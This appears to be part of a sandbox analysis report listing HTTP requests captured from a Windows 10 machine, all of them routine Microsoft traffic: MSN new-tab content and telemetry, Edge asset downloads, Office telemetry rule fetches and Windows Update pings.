Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=325FB603007165991815A33F01D964B1&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ab8f4263a10a45bece11d704ef53b488 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=325FB603007165991815A33F01D964B1; _EDGE_S=F=1&SID=1004A917124766991B15BC2B133B678E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732043144669&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=112e3176902449b99b0cd7489c0e031a&activityId=112e3176902449b99b0cd7489c0e031a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0346E9AD77D646EE9BEDBE07189956F2&MUID=325FB603007165991815A33F01D964B1 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=325FB603007165991815A33F01D964B1; _EDGE_S=F=1&SID=1004A917124766991B15BC2B133B678E; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x4TsGtHZrxyoGxz&MD=mueN9v5e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x4TsGtHZrxyoGxz&MD=mueN9v5e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
